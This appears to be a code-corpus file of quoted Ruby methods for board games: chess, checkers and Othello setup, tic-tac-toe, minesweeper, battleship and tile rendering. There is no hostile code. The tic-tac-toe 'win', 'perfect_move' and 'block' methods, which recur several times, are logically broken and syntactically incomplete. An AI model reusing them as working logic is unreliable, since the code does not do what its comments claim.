"def put_white\n i = 0\n while i<=7 do\n n = Pawn.new([i,1],\"\\u2659\",true)\n put_piece(n)\n i+=1\n end\n n = Rook.new([0,0],\"\\u2656\",true)\n put_piece(n)\n n = Rook.new([7,0],\"\\u2656\",true)\n put_piece(n)\n n = Knight.new([1,0],\"\\u2658\",true)\n put_piece(n)\n n = Knight.new([6,0],\"\\u2658\",true)\n put_piece(n)\n n = Bishop.new([2,0],\"\\u2657\",true)\n put_piece(n)\n n = Bishop.new([5,0],\"\\u2657\",true)\n put_piece(n)\n n = Queen.new([3,0],\"\\u2655\",true)\n put_piece(n)\n n = King.new([4,0],\"\\u2654\",true)\n put_piece(n,true)\n end",
"def rollback\n @original_squares.each do |square|\n @board.set_at(square[:coords], square[:piece])\n end\n end",
"def swim(index)\n end",
"def reset_attack(defender_color)\n\n for row in 0..7\n for col in 0..7\n if(defender_color==\"white\")\n get_square(row,col).attacked_black=false\n elsif defender_color==\"black\"\n get_square(row,col).attacked_white=false\n end\n\n\n end\n end\n end",
"def draw_board\n\t\tfor i in 0..9\n\t\t\t@tile_Array[i].draw\n\t\tend\n\tend",
"def place_rooks\r\n $board[0][0] = Rook.new('white')\r\n\t\t$board[7][0] = Rook.new('white')\r\n\t\t$board[0][7] = Rook.new('black')\r\n\t\t$board[7][7] = Rook.new('black')\r\n end",
"def win(board, marker)\n\t\t#horizontal top\n\t\tif board[0] && board[1] == marker\n\t\t\tboard[2] == perfect_move\n\t\telsif board[0] && board[2] == marker\n\t\t\tboard[1] == perfect_move\n\t\telsif board[1] && board[2] == marker\n\t\t\tboard[0] == perfect_move\n\t\t#horiz middle\n\t\telsif board[3] && board[4] == marker\n\t\t\tboard[5] == perfect_move\n\t\telsif board[3] && board[5] == marker\n\t\t\tboard[4] == perfect_move\n\t\telsif board[4] && board[5] == marker\n\t\t\tboard[3] == perfect_move\n\t\t#horiz bottom\n\t\telsif board[6] && board[7] == marker\n\t\t\tboard[8] == perfect_move\n\t\telsif board[6] && board[8] == marker\n\t\t\tboard[7] == perfect_move\n\t\telsif board[7] && board[8] == marker\n\t\t\tboard[6] == perfect_move\n\t\t#vertical left\n\t\telsif board[0] && board[3] == marker\n\t\t\tboard[6] == perfect_move\n\t\telsif board[3] && board[6] == marker\n\t\t\tboard[0] == perfect_move\n\t\telsif board[0] && board[6] == marker\n\t\t\tboard[3] == perfect_move\n\t\t#vert middle\n\t\telsif board[1] && board[4] == marker\n\t\t\tboard[7] == perfect_move\n\t\telsif board[1] && board[7] == marker\n\t\t\tboard[4] == perfect_move\n\t\telsif board[4] && board[7] == marker\n\t\t\tboard[1] == perfect_move\n\t\t#vert right\n\t\telsif board[2] && board[5] == marker\n\t\t\tboard[8] == perfect_move\n\t\telsif board[2] && board[8] == marker\n\t\t\tboard[5] == perfect_move\n\t\telsif board[5] && board[8] == marker\n\t\t\tboard[2] == perfect_move\n\t\t#diaginal top left \n\t\telsif board[0] && board[4] == marker\n\t\t\tboard[8] == perfect_move\n\t\telsif board[0] && board[8] == marker\n\t\t\tboard[4] == perfect_move\n\t\telsif board[4] && board[8] == marker\n\t\t\tboard[0] == perfect_move\n\t\t#diag bottom left\n\t\telsif board[2] && board[4] == marker\n\t\t\tboard[6] == perfect_move\n\t\telsif board[2] && board[6] == marker\n\t\t\tboard[4] == perfect_move\n\t\telsif board[4] && board[6] == marker\n\t\t\tboard[2] == perfect_move\n\t\telse\n\n\t\tend\n\tend",
"def reset_board_variables\r\n @color_on_turn = :white\r\n @pieces = {:white => [], :black => []} \r\n @last_moved_item = BoardInfoItem.new(0,0)\r\n @infosquare.each do |row_square|\r\n row_square.each do |cell|\r\n cell.clear\r\n end\r\n end\r\n #p @infosquare\r\n end",
"def perfect_move(marker, index)\r\n\t\tif board[index] == perfect_move\r\n\t\t\tboard[index] = marker\r\n\tend\r\n\r\n\t#final moves in order to win\r\n\tdef win(board, marker)\r\n\t\t#horizontal top\r\n\t\tif board[0] && board[1] == marker\r\n\t\t\tboard[2] == perfect_move\r\n\t\telsif board[0] && board[2] == marker\r\n\t\t\tboard[1] == perfect_move\r\n\t\telsif board[1] && board[2] == marker\r\n\t\t\tboard[0] == perfect_move\r\n\t\t#horiz middle\r\n\t\telsif board[3] && board[4] == marker\r\n\t\t\tboard[5] == perfect_move\r\n\t\telsif board[3] && board[5] == marker\r\n\t\t\tboard[4] == perfect_move\r\n\t\telsif board[4] && board[5] == marker\r\n\t\t\tboard[3] == perfect_move\r\n\t\t#horiz bottom\r\n\t\telsif board[6] && board[7] == marker\r\n\t\t\tboard[8] == perfect_move\r\n\t\telsif board[6] && board[8] == marker\r\n\t\t\tboard[7] == perfect_move\r\n\t\telsif board[7] && board[8] == marker\r\n\t\t\tboard[6] == perfect_move\r\n\t\t#vertical left\r\n\t\telsif board[0] && board[3] == marker\r\n\t\t\tboard[6] == perfect_move\r\n\t\telsif board[3] && board[6] == marker\r\n\t\t\tboard[0] == perfect_move\r\n\t\telsif board[0] && board[6] == marker\r\n\t\t\tboard[3] == perfect_move\r\n\t\t#vert middle\r\n\t\telsif board[1] && board[4] == marker\r\n\t\t\tboard[7] == perfect_move\r\n\t\telsif board[1] && board[7] == marker\r\n\t\t\tboard[4] == perfect_move\r\n\t\telsif board[4] && board[7] == marker\r\n\t\t\tboard[1] == perfect_move\r\n\t\t#vert right\r\n\t\telsif board[2] && board[5] == marker\r\n\t\t\tboard[8] == perfect_move\r\n\t\telsif board[2] && board[8] == marker\r\n\t\t\tboard[5] == perfect_move\r\n\t\telsif board[5] && board[8] == marker\r\n\t\t\tboard[2] == perfect_move\r\n\t\t#diagonal top left \r\n\t\telsif board[0] && board[4] == marker\r\n\t\t\tboard[8] == perfect_move\r\n\t\telsif board[0] && board[8] == marker\r\n\t\t\tboard[4] == perfect_move\r\n\t\telsif board[4] && board[8] == marker\r\n\t\t\tboard[0] == perfect_move\r\n\t\t#diag bottom left\r\n\t\telsif board[2] && board[4] == marker\r\n\t\t\tboard[6] == perfect_move\r\n\t\telsif board[2] && board[6] == marker\r\n\t\t\tboard[4] == perfect_move\r\n\t\telsif board[4] && board[6] == marker\r\n\t\t\tboard[2] == perfect_move\r\n\t\telse\r\n\r\n\t\tend\r\n\tend\r\n\r\n\t#blocks an opponent from making the winning move\r\n\tdef block(human, marker, index)\r\n\t\tif human[marker] == win\r\n\t\t\tboard[index] = perfect_move\r\n\t\t\ttrue\r\n\t\telse\r\n\t\t\tfalse\r\n\t\tend\r\n\tend\r\n\r\n\tdef fork()\r\n\tend\r\n\r\n\tdef fork_block()\r\n\tend\r\n\r\n\tdef opposite_corner()\r\n\tend\r\n\r\n\tdef empty_corner()\r\n\tend\r\n\r\n\tdef empty_side()\r\n\tend\r\n\r\nend",
"def default_grid\n array = Array.new(8) { Array.new(8) }\n\n array[0][0] = Rook.new('white', [0,0], 'slide')\n array[1][0] = Knight.new('white', [1,0], 'step')\n array[2][0] = Bishop.new('white', [2,0], 'slide')\n array[3][0] = Queen.new('white', [3,0], 'slide')\n array[4][0] = King.new('white', [4,0], 'step')\n array[5][0] = Bishop.new('white', [5,0], 'slide')\n array[6][0] = Knight.new('white', [6,0], 'step')\n array[7][0] = Rook.new('white', [7,0], 'slide')\n array[0..7].each_with_index { |column, index| \n column[1] = Pawn.new('white', [index,1], 'step') }\n\n array[0][7] = Rook.new('black', [0,7], 'slide')\n array[1][7] = Knight.new('black', [1,7], 'step')\n array[2][7] = Bishop.new('black', [2,7], 'slide')\n array[3][7] = Queen.new('black', [3,7], 'slide')\n array[4][7] = King.new('black', [4,7], 'step')\n array[5][7] = Bishop.new('black', [5,7], 'slide')\n array[6][7] = Knight.new('black', [6,7], 'step')\n array[7][7] = Rook.new('black', [7,7], 'slide')\n array[0..7].each_with_index { |column, index| \n column[6] = Pawn.new('black', [index,6], 'step') }\n\n array\n end",
"def rotate_board\n\t\t@board[70] = @board[[7,0]]\n\t\t@board[71] = @board[[7,1]]\n\t\t@board[72] = @board[[7,2]]\n\t\t@board[73] = @board[[7,3]]\n\t\t@board[74] = @board[[7,4]]\n\t\t@board[75] = @board[[7,5]]\n\t\t@board[76] = @board[[7,6]]\n\t\t@board[77] = @board[[7,7]]\n\t\t@board[60] = @board[[6,0]]\n\t\t@board[61] = @board[[6,1]]\n\t\t@board[62] = @board[[6,2]]\n\t\t@board[63] = @board[[6,3]]\n\t\t@board[64] = @board[[6,4]]\n\t\t@board[65] = @board[[6,5]]\n\t\t@board[66] = @board[[6,6]]\n\t\t@board[67] = @board[[6,7]]\t\n\t\t@board[50] = @board[[5,0]]\n\t\t@board[51] = @board[[5,1]]\n\t\t@board[52] = @board[[5,2]]\n\t\t@board[53] = @board[[5,3]]\n\t\t@board[54] = @board[[5,4]]\n\t\t@board[55] = @board[[5,5]]\n\t\t@board[56] = @board[[5,6]]\n\t\t@board[57] = @board[[5,7]]\t\n\t\t@board[40] = @board[[4,0]]\n\t\t@board[41] = @board[[4,1]]\n\t\t@board[42] = @board[[4,2]]\n\t\t@board[43] = @board[[4,3]]\n\t\t@board[44] = @board[[4,4]]\n\t\t@board[45] = @board[[4,5]]\n\t\t@board[46] = @board[[4,6]]\n\t\t@board[47] = @board[[4,7]]\t\t\t\t\n\t\t@board[[7,0]] = @board[[0,7]]\n\t\t@board[[7,1]] = @board[[0,6]]\n\t\t@board[[7,2]] = @board[[0,5]]\n\t\t@board[[7,3]] = @board[[0,4]]\n\t\t@board[[7,4]] = @board[[0,3]]\n\t\t@board[[7,5]] = @board[[0,2]]\n\t\t@board[[7,6]] = @board[[0,1]]\n\t\t@board[[7,7]] = @board[[0,0]]\n\t\t@board[[6,0]] = @board[[1,7]]\n\t\t@board[[6,1]] = @board[[1,6]]\n\t\t@board[[6,2]] = @board[[1,5]]\n\t\t@board[[6,3]] = @board[[1,4]]\n\t\t@board[[6,4]] = @board[[1,3]]\n\t\t@board[[6,5]] = @board[[1,2]]\n\t\t@board[[6,6]] = @board[[1,1]]\n\t\t@board[[6,7]] = @board[[1,0]]\n\t\t@board[[5,0]] = @board[[2,7]]\n\t\t@board[[5,1]] = @board[[2,6]]\n\t\t@board[[5,2]] = @board[[2,5]]\n\t\t@board[[5,3]] = @board[[2,4]]\n\t\t@board[[5,4]] = @board[[2,3]]\n\t\t@board[[5,5]] = @board[[2,2]]\n\t\t@board[[5,6]] = @board[[2,1]]\n\t\t@board[[5,7]] = @board[[2,0]]\n\t\t@board[[4,0]] = @board[[3,7]]\n\t\t@board[[4,1]] = @board[[3,6]]\n\t\t@board[[4,2]] = @board[[3,5]]\n\t\t@board[[4,3]] = @board[[3,4]]\n\t\t@board[[4,4]] = @board[[3,3]]\n\t\t@board[[4,5]] = @board[[3,2]]\n\t\t@board[[4,6]] = @board[[3,1]]\n\t\t@board[[4,7]] = @board[[3,0]]\t\n\t\t@board[[3,0]] = @board[47]\n\t\t@board[[3,1]] = @board[46]\n\t\t@board[[3,2]] = @board[45]\n\t\t@board[[3,3]] = @board[44]\n\t\t@board[[3,4]] = @board[43]\n\t\t@board[[3,5]] = @board[42]\n\t\t@board[[3,6]] = @board[41]\n\t\t@board[[3,7]] = @board[40]\t\n\t\t@board[[2,0]] = @board[57]\n\t\t@board[[2,1]] = @board[56]\n\t\t@board[[2,2]] = @board[55]\n\t\t@board[[2,3]] = @board[54]\n\t\t@board[[2,4]] = @board[53]\n\t\t@board[[2,5]] = @board[52]\n\t\t@board[[2,6]] = @board[51]\n\t\t@board[[2,7]] = @board[50]\t\n\t\t@board[[1,0]] = @board[67]\n\t\t@board[[1,1]] = @board[66]\n\t\t@board[[1,2]] = @board[65]\n\t\t@board[[1,3]] = @board[64]\n\t\t@board[[1,4]] = @board[63]\n\t\t@board[[1,5]] = @board[62]\n\t\t@board[[1,6]] = @board[61]\n\t\t@board[[1,7]] = @board[60]\n\t\t@board[[0,0]] = @board[77]\n\t\t@board[[0,1]] = @board[76]\n\t\t@board[[0,2]] = @board[75]\n\t\t@board[[0,3]] = @board[74]\n\t\t@board[[0,4]] = @board[73]\n\t\t@board[[0,5]] = @board[72]\n\t\t@board[[0,6]] = @board[71]\n\t\t@board[[0,7]] = @board[70]\n\t\t@board.delete(40)\n\t\t@board.delete(41)\n\t\t@board.delete(42)\n\t\t@board.delete(43)\n\t\t@board.delete(44)\n\t\t@board.delete(45)\n\t\t@board.delete(46)\n\t\t@board.delete(47)\n\t\t@board.delete(50)\n\t\t@board.delete(51)\n\t\t@board.delete(52)\n\t\t@board.delete(53)\n\t\t@board.delete(54)\n\t\t@board.delete(55)\n\t\t@board.delete(56)\n\t\t@board.delete(57)\n\t\t@board.delete(60)\n\t\t@board.delete(61)\n\t\t@board.delete(62)\n\t\t@board.delete(63)\n\t\t@board.delete(64)\n\t\t@board.delete(65)\n\t\t@board.delete(66)\n\t\t@board.delete(67)\t\n\t\t@board.delete(70)\n\t\t@board.delete(71)\n\t\t@board.delete(72)\n\t\t@board.delete(73)\n\t\t@board.delete(74)\n\t\t@board.delete(75)\n\t\t@board.delete(76)\n\t\t@board.delete(77)\t\t\t\t\t\n\t\t@board\t\t\t\t\t\t\t\t\t\t\n\tend",
"def set_board\n\t\t(1..@disks).each do |disk|\n\t\t\t@pegs[0].unshift disk\n\t\tend\n\tend",
"def win(board, marker)\r\n\t\t#horizontal top\r\n\t\tif board[0] && board[1] == marker\r\n\t\t\tboard[2] == perfect_move\r\n\t\telsif board[0] && board[2] == marker\r\n\t\t\tboard[1] == perfect_move\r\n\t\telsif board[1] && board[2] == marker\r\n\t\t\tboard[0] == perfect_move\r\n\t\t#horiz middle\r\n\t\telsif board[3] && board[4] == marker\r\n\t\t\tboard[5] == perfect_move\r\n\t\telsif board[3] && board[5] == marker\r\n\t\t\tboard[4] == perfect_move\r\n\t\telsif board[4] && board[5] == marker\r\n\t\t\tboard[3] == perfect_move\r\n\t\t#horiz bottom\r\n\t\telsif board[6] && board[7] == marker\r\n\t\t\tboard[8] == perfect_move\r\n\t\telsif board[6] && board[8] == marker\r\n\t\t\tboard[7] == perfect_move\r\n\t\telsif board[7] && board[8] == marker\r\n\t\t\tboard[6] == perfect_move\r\n\t\t#vertical left\r\n\t\telsif board[0] && board[3] == marker\r\n\t\t\tboard[6] == perfect_move\r\n\t\telsif board[3] && board[6] == marker\r\n\t\t\tboard[0] == perfect_move\r\n\t\telsif board[0] && board[6] == marker\r\n\t\t\tboard[3] == perfect_move\r\n\t\t#vert middle\r\n\t\telsif board[1] && board[4] == marker\r\n\t\t\tboard[7] == perfect_move\r\n\t\telsif board[1] && board[7] == marker\r\n\t\t\tboard[4] == perfect_move\r\n\t\telsif board[4] && board[7] == marker\r\n\t\t\tboard[1] == perfect_move\r\n\t\t#vert right\r\n\t\telsif board[2] && board[5] == marker\r\n\t\t\tboard[8] == perfect_move\r\n\t\telsif board[2] && board[8] == marker\r\n\t\t\tboard[5] == perfect_move\r\n\t\telsif board[5] && board[8] == marker\r\n\t\t\tboard[2] == perfect_move\r\n\t\t#diagonal top left \r\n\t\telsif board[0] && board[4] == marker\r\n\t\t\tboard[8] == perfect_move\r\n\t\telsif board[0] && board[8] == marker\r\n\t\t\tboard[4] == perfect_move\r\n\t\telsif board[4] && board[8] == marker\r\n\t\t\tboard[0] == perfect_move\r\n\t\t#diag bottom left\r\n\t\telsif board[2] && board[4] == marker\r\n\t\t\tboard[6] == perfect_move\r\n\t\telsif board[2] && board[6] == marker\r\n\t\t\tboard[4] == perfect_move\r\n\t\telsif board[4] && board[6] == marker\r\n\t\t\tboard[2] == perfect_move\r\n\t\telse\r\n\r\n\t\tend\r\n\tend",
"def setup_board\n @startup = true\n @board = @board.map{|col| col.map{|piece| Piece.new if piece.nil?}}\n clear_matches\n @startup = false\n @pieces_removed = 0\n end",
"def set_tiles\n if @game_state_model::game_type == :classic\n @tiles = @tilesClassic\n elsif @game_state_model::game_type == :otto\n @tiles = @tilesOtto\n end\n end",
"def test_board_render_when_seeded\n subject = Board.new(3, 3, false)\n subject.seed(<<~BOARD)\n .*.\n ***\n .*.\n BOARD\n assert_equal(<<~BOARD.strip, subject.render)\n .*.\n ***\n .*.\n BOARD\n end",
"def perfect_move(marker, index)\n\t\tif board[index] == perfect_move\n\t\t\tboard[index] = marker\n\tend\n\n\t#final moves in order to win\n\tdef win(board, marker)\n\t\t#horizontal top\n\t\tif board[0] && board[1] == marker\n\t\t\tboard[2] == perfect_move\n\t\telsif board[0] && board[2] == marker\n\t\t\tboard[1] == perfect_move\n\t\telsif board[1] && board[2] == marker\n\t\t\tboard[0] == perfect_move\n\t\t#horiz middle\n\t\telsif board[3] && board[4] == marker\n\t\t\tboard[5] == perfect_move\n\t\telsif board[3] && board[5] == marker\n\t\t\tboard[4] == perfect_move\n\t\telsif board[4] && board[5] == marker\n\t\t\tboard[3] == perfect_move\n\t\t#horiz bottom\n\t\telsif board[6] && board[7] == marker\n\t\t\tboard[8] == perfect_move\n\t\telsif board[6] && board[8] == marker\n\t\t\tboard[7] == perfect_move\n\t\telsif board[7] && board[8] == marker\n\t\t\tboard[6] == perfect_move\n\t\t#vertical left\n\t\telsif board[0] && board[3] == marker\n\t\t\tboard[6] == perfect_move\n\t\telsif board[3] && board[6] == marker\n\t\t\tboard[0] == perfect_move\n\t\telsif board[0] && board[6] == marker\n\t\t\tboard[3] == perfect_move\n\t\t#vert middle\n\t\telsif board[1] && board[4] == marker\n\t\t\tboard[7] == perfect_move\n\t\telsif board[1] && board[7] == marker\n\t\t\tboard[4] == perfect_move\n\t\telsif board[4] && board[7] == marker\n\t\t\tboard[1] == perfect_move\n\t\t#vert right\n\t\telsif board[2] && board[5] == marker\n\t\t\tboard[8] == perfect_move\n\t\telsif board[2] && board[8] == marker\n\t\t\tboard[5] == perfect_move\n\t\telsif board[5] && board[8] == marker\n\t\t\tboard[2] == perfect_move\n\t\t#diaginal top left \n\t\telsif board[0] && board[4] == marker\n\t\t\tboard[8] == perfect_move\n\t\telsif board[0] && board[8] == marker\n\t\t\tboard[4] == perfect_move\n\t\telsif board[4] && board[8] == marker\n\t\t\tboard[0] == perfect_move\n\t\t#diag bottom left\n\t\telsif board[2] && board[4] == marker\n\t\t\tboard[6] == perfect_move\n\t\telsif board[2] && board[6] == marker\n\t\t\tboard[4] == perfect_move\n\t\telsif board[4] && board[6] == marker\n\t\t\tboard[2] == perfect_move\n\t\telse\n\n\t\tend\n\tend\n\n\t#blocks an opponent from making the winning move\n\tdef block(human, marker, index)\n\t\tif human[marker] == win\n\t\t\tboard[index] = perfect_move\n\t\t\ttrue\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend\n\n\tdef fork()\n\tend\n\n\tdef fork_block()\n\tend\n\n\tdef opposite_corner()\n\tend\n\n\tdef empty_corner()\n\tend\n\n\tdef empty_side()\n\tend\n\nend",
"def initializeBoard()\n #\n # TO DO: complete this method\n #\n for j in 0...@size\n for i in 0...@size\n @board[j][i]=EMPTY\n end\n end\n center = (@size/2)-1\n @board[center][center] = BLACK\n @board[center+1][center+1] = BLACK\n @board[center+1][center] = WHITE\n @board[center][center+1] = WHITE\n\n\n\n\n end",
"def draw_tile_a_other(x, y, id)\n autotile = adjust_autotile_id((id - 2048) / 48)\n index = (id - 2048) % 48\n a1 = autotile < 32\n settings = settings_for_autotile(autotile)\n local = AUTOTILE_LOCAL[autotile]\n bmp = bitmap_for_autotile(autotile)\n tx = settings[local, KEY_X]\n ty = settings[local, KEY_Y]\n rule = settings[local, KEY_DRAWING_RULE]\n dx, dy = x * TILESIZE, y * TILESIZE\n @animated_layers.each_with_index do |l, i|\n sx = tx\n sy = ty\n case rule\n when DRAWING_RULE_WATERFALL\n @debug.puts \"Drawing Waterfall: autotile=#{autotile} frame=#{i} from=#{[sx, sy]}\"\n sy += i * TILESIZE\n draw_waterfall_tile(index, l, dx, dy, bmp, sx, sy)\n when DRAWING_RULE_2x2\n @debug.puts \"Drawing 2x2: autotile=#{autotile} from=#{[sx, sy]}\"\n draw_2x2_autotile(index, l, dx, dy, bmp, sx, sy)\n when DRAWING_RULE_2x3\n @debug.puts \"Drawing 2x3: autotile=#{autotile} frame=#{i} from=#{[sx, sy]}\"\n sx += i * TILESIZE2 if a1\n draw_2x3_autotile(index, l, dx, dy, bmp, sx, sy)\n else\n fail \"Invalid DRAWING_RULE #{rule}\"\n end\n end\n end",
"def create_board\n (1..(@width * @width).to_i).each do |i|\n values = i <= @amount_mines ? @bomb : @empty\n @board.push({\n value: values,\n revealed?: false\n })\n end\n @board.shuffle!\n @board\n end",
"def setup_board\r\n place_pawns\r\n place_bishops\r\n place_rooks\r\n place_knights\r\n place_queens\r\n place_kings\r\n end",
"def transform_initialboard(lines)\n board = []\n 9.times do |i|\n line = []\n 9.times do |j|\n line << lines[j][8 - i]\n end\n board << line\n end\n { 'preset' => 'OTHER', 'data' => { 'board' => board } }\n end",
"def board_dup\n new_board = Board.new(true)\n\n pieces_and_empties.each do |piece|\n x, y = piece.pos\n new_board.board[x][y] = piece.class.new(new_board, piece.color, piece.pos)\n end\n # debugger\n new_board\n end",
"def place_piece(size, pat, zeros)\n x, y = generate_seed(size, pat, zeros)# if x.nil? || y.nil?\n if !@board.nil?\n pat.each_with_index do |paty, indexy|\n paty.each_with_index do |patx, indexx| \n @board[y+indexy][x+indexx] = pat[indexy][indexx] \n end\n end\n end\n end",
"def initial_piece_placements\n self.grid.each_with_index do |row, row_idx|\n row.each_with_index do |cell, cell_idx|\n pos = [row_idx, cell_idx]\n if pos.all? {|coord| coord.even?} || pos.all? {|coord| coord.odd?}\n if row_idx < 3\n self[pos] = Piece.new(self, pos, :white)\n elsif row_idx >= 5\n self[pos] = Piece.new(self, pos, :black)\n end\n end\n end\n end\n end",
"def turn_over\n if @turn == @black\n @turn = @white\n else\n @turn = @black\n end\n @hashes << generate_hash\n end",
"def check_out_of_world # swap size\n # y\n if @y < 0\n die\n elsif @y > WINDOW_SIZE_Y\n die\n end\n # x ( comment me out to add the glitch feature agian )\n if @x < 0\n @x = WINDOW_SIZE_X - TILE_SIZE - 2\n elsif @x > WINDOW_SIZE_X - TILE_SIZE - 1\n @x = 0\n end\n end",
"def full_game_board\n\t\trows = []\n\t\t(0...$dimensions[:y]).each do |y|\n\t\t\tcols = []\n\t\t\t(0...$dimensions[:x]).each do |x|\n\t\t\t\tcols << board_status({:x => x, :y => y})\n\t\t\tend\n\t\t\trows << cols\n\t\tend\n\t\thunter_blob = captured_points\n\t\thunter_blob.each do |point|\n\t\t\trows[point[:y]][point[:x]] = \"-\" if rows[point[:y]][point[:x]] == '.'\n\t\tend\n\t\trows\n\tend",
"def setup\n (1..12).each do |num|\n @board[num] = %W[_ _ _ _]\n end\n end",
"def print_board(title, generation, board, scale = 4)\n png = ChunkyPNG::Image.new(board.length * scale, board[0].length * scale, ChunkyPNG::Color('black @ 1.0'))\n board.each_with_index do |row, h|\n row.each_with_index do |cell, w|\n (0...scale).each do |ph|\n (0...scale).each do |pw|\n png[(h * scale) + ph, (w * scale) + pw] = (board[h][w] == 1 ? ChunkyPNG::Color('red @ 1.0') : ChunkyPNG::Color('blue @ 1.0'))\n end\n end\n end\n end\n png.save(\"./output/#{title}/frame_#{generation.to_s.rjust(4, \"0\")}.png\",\n :color_mode => ChunkyPNG::COLOR_INDEXED,\n :compression => Zlib::NO_COMPRESSION,\n :interlace => true)\nend",
"def new_board\n board = []\n 8.times do |row|\n board << case row\n when 0\n add_back_row(\"white\", row)\n when 1\n add_pawn_row(\"white\", row)\n when 6\n add_pawn_row(\"black\", row)\n when 7\n add_back_row(\"black\", row)\n else\n Array.new(8)\n end\n end \n board\n end",
"def update_next_state\n # Maybe if I do this it won't query for this game's tiles every time? ¯\\_(ツ)_/¯\n tiles = self.tiles \n players = self.players \n voids = tiles.where(\"height < 1\")\n\n # Pick random tiles to raise\n raiseTiles = voids.sample((voids.length/2).ceil)\n dropCounter = (players.length/2).ceil\n dropTiles = []\n\n # Drop tiles players were on\n players.each do |player|\n dropTiles << player.tile\n end \n\n # Pick random tiles to drop\n while dropCounter > 0\n randTile = tiles.sample\n\n if (!dropTiles.include?(randTile) && randTile.height > 0)\n dropTiles << randTile \n dropCounter -= 1\n end\n end\n\n tiles.each do |tile| \n if (dropTiles.include?(tile))\n tile.update(height: tile.height-1)\n elsif (raiseTiles.include?(tile))\n tile.update(height: [2, 1, 1, 1].sample)\n end\n end\n end",
"def sets\n rows = @board.each_slice(9).to_a # rows\n cols = rows.transpose\n (rows + cols + boxes).each do |set|\n set.delete(\"0\")\n end\n end",
"def set_ships\n GAME_SHIPS.each do |ship|\n loop do\n horizontal = [true, false].sample\n x = horizontal ? rand(1..GAME_BOARD_LENGTH - ship) : rand(1..GAME_BOARD_LENGTH)\n y = !horizontal ? rand(1..GAME_BOARD_LENGTH - ship) : rand(1..GAME_BOARD_LENGTH)\n\n break if place_ship(x, y, ship, horizontal)\n end\n end\n end",
"def set_default\n [[:white, 0, 1], [:black, 7, 6]].each do |color, row1, row2|\n [\"Rook\", \"Knight\", \"Elephant\", \"Queen\", \"King\", \"Elephant\", \"Knight\", \"Rook\"].each.with_index do |class_name, column|\n self[column, row1] = Module.const_get(\"ChessEngine::#{class_name}\").new(color)\n end\n\n 0.upto(7) do |column|\n self[column, row2] = Pawn.new(color)\n end\n end\n end",
"def place_mines\n\t\t(0...@size).to_a.shuffle.slice(0,@total_mines).each do |rand|\n\t\t\tmine_row = rand / @width\n\t\t\tmine_col = rand % @width\n\t\t\t@cell_at[mine_row][mine_col].risk = :mine\n\t\t\t@cells_with_mines << [mine_row, mine_col]\n\t\tend\n\tend",
"def render_board\n\n\t\t# So, we'll rebuild the render target from scratch\n\t\t(0...@height).each do |row|\n\t\t\t(0...@width).each do |col|\n\n\t\t\t\t# Save myself some typing, and some math cycles...\n\t\t\t\tcell_idx = (row*@width)+col\n\n\t\t\t\t# Check to see if this cell is covered\n\t\t\t\tif @cell_status[cell_idx] == :status_covered\n\t\t\t\t\tcell = @cover_png\n\t\t\t\telsif @cell_status[cell_idx] == :status_gold\n\t\t\t\t\tcell = @gold_png\n\t\t\t\telse\n\t\t\t\t\tif @dragons[cell_idx] == DRAGON\n\t\t\t\t\t\tcell = @dragon_png\n\t\t\t\t\telse\n\t\t\t\t\t\tcell = @cell_png[@dragons[cell_idx]]\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t# We know what to draw, so draw it\n\t\t\t\t$gtk.args.render_target( :board ).width = @board_w\n\t\t\t\t$gtk.args.render_target( :board ).height = @board_h\n\t\t\t\t$gtk.args.render_target( :board ).sprites << {\n\t\t\t\t\tx: (col*@cell_size), y: (row*@cell_size),\n\t\t\t\t\tw: @cell_size, h: @cell_size, path: cell,\n\t\t\t\t}\n\n\t\t\tend\n\n\t\tend\n\n\tend",
"def draw_board_start\n #Places the pawns\n 8.times do |x|\n @b[x][1] = @WP\n @b[x][6] = @BP\n end\n #white, on bottom, the opaque pieces\n @b[0][0] = @WR; @b[7][0] = @WR\n @b[1][0] = @WK; @b[6][0] = @WK\n @b[2][0] = @WB; @b[5][0] = @WB\n @b[3][0] = @WQ\n @b[4][0] = @WKg\n #black, on top, the filled in pieces\n @b[0][7] = @BR; @b[7][7] = @BR\n @b[1][7] = @BK; @b[6][7] = @BK\n @b[2][7] = @BB; @b[5][7] = @BB\n @b[3][7] = @BQ\n @b[4][7] = @BKg\n \n #TESTING PIECES HERE\n\n\n draw_board\n end",
"def make_board\n @grid = Array.new(9) { | row | Array.new(9) { | col | Tile.new(self, [row, col]) } }\n self.place_bombs\n @grid.map.with_index do | row, rowIndx |\n row.map.with_index { | tile, colIndx | tile.neighbors_bomb_count if !(self.is_a_bomb?([rowIndx, colIndx])) }\n end\n end",
"def show_board\n @grid.each_with_index do |row, row_index|\n row.each_with_index do |square, col_index|\n piece = self[row_index, col_index]\n if row_index.even? && col_index.even?\n print \" #{piece.display} \".colorize( :color => :black, :background => :white ) if (piece && piece.color == :black)\n print \" #{piece.display} \".colorize( :color => :red, :background => :white ) if (piece && piece.color == :red)\n print \" \".colorize( :background => :white ) if piece.nil?\n elsif row_index.even? && col_index.odd? \n print \" #{piece.display} \".colorize( :color => :black, :background => :light_white ) if (piece && piece.color == :black)\n print \" #{piece.display} \".colorize( :color => :red, :background => :light_white ) if (piece && piece.color == :red)\n print \" \".colorize( :background => :light_white ) if piece.nil?\n elsif row_index.odd? && col_index.even? \n print \" #{piece.display} \".colorize( :color => :black, :background => :light_white ) if (piece && piece.color == :black)\n print \" #{piece.display} \".colorize( :color => :red, :background => :light_white ) if (piece && piece.color == :red)\n print \" \".colorize( :background => :light_white ) if piece.nil?\n elsif row_index.odd? && col_index.odd?\n print \" #{piece.display} \".colorize( :color => :black, :background => :white ) if (piece && piece.color == :black)\n print \" #{piece.display} \".colorize( :color => :red, :background => :white ) if (piece && piece.color == :red)\n print \" \".colorize( :background => :white ) if piece.nil?\n end\n end\n puts \"\"\n end\n end",
"def place_random_ships\n ship_count = size / 4\n while ship_count.positive?\n row = rand(@grid.size)\n col = rand(@grid.size)\n if self[[row, col]] == :N\n self[[row, col]] = :S\n ship_count -= 1\n end\n end\n end",
"def border_slicer(board)\n board.pop()\n board.shift()\n \n row = 0\n while row < self.height do\n board[row].pop()\n board[row].shift()\n row += 1\n end\n \n return board\n end",
